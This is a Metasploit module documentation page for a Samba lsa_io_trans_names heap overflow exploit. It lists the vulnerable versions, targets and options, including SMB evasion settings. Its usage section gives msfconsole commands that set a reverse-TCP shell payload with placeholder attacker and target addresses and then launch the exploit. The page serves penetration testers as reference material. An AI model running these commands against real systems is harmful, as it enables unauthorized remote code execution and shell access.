Metasploit Penetration Testing Framework

Samba lsa_io_trans_names Heap Overflow

This module triggers a heap overflow in the LSA RPC service of the Samba daemon. This module uses the TALLOC chunk overwrite method (credit Ramon and Adriano), which only works with Samba versions 3.0.21-3.0.24. Additonally, this module will not work when the Samba "log level" parameter is higher than "2".

Rank

Good

Authors

ramon < ramon [at] risesecurity.org >
Adriano Lima < adriano [at] risesecurity.org >
hdm < hdm [at] metasploit.com >

References

Exploit Targets

0 - Linux vsyscall (default)
1 - Linux Heap Brute Force (Debian/Ubuntu)
2 - Linux Heap Brute Force (Gentoo)
3 - Linux Heap Brute Force (Mandriva)
4 - Linux Heap Brute Force (RHEL/CentOS)
5 - Linux Heap Brute Force (SUSE)
6 - Linux Heap Brute Force (Slackware)
7 - DEBUG

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show payloads
msf exploit(lsa_transnames_heap) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(lsa_transnames_heap) > set LHOST [MY IP ADDRESS]
msf exploit(lsa_transnames_heap) > set RHOST [TARGET IP]
msf exploit(lsa_transnames_heap) > exploit

Module Options

RHOST	The target address
RPORT	Set the SMB service port (default: 445)
SMBPIPE	The pipe name to use (default: LSARPC)
BruteStep	Step size between brute force attempts
BruteWait	Delay between brute force attempts
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
ContextInformationFile	The information file that contains context information
DCERPC::ReadTimeout	The number of seconds to wait for DCERPC responses
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
Proxies	Use a proxy chain
SMBDirect	The target port is a raw SMB service (not NetBIOS)
SMBDomain	The Windows domain to use for authentication
SMBName	The NetBIOS hostname (required for port 139 connections)
SMBPass	The password for the specified username
SMBUser	The username to authenticate as
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session
DCERPC::fake_bind_multi	Use multi-context bind calls
DCERPC::fake_bind_multi_append	Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend	Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size	Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio	Use a different delivery method for accessing named pipes (accepted: rw, trans)
SMB::obscure_trans_pipe_level	Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level	Place extra padding between headers and data (level 0-3)
SMB::pad_file_level	Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion	Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size	Maximum buffer size for pipe reads
SMB::pipe_read_min_size	Minimum buffer size for pipe reads
SMB::pipe_write_max_size	Maximum buffer size for pipe writes
SMB::pipe_write_min_size	Minimum buffer size for pipe writes
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)

OSVDB:	CVE:
BID:	MSB:
TEXT: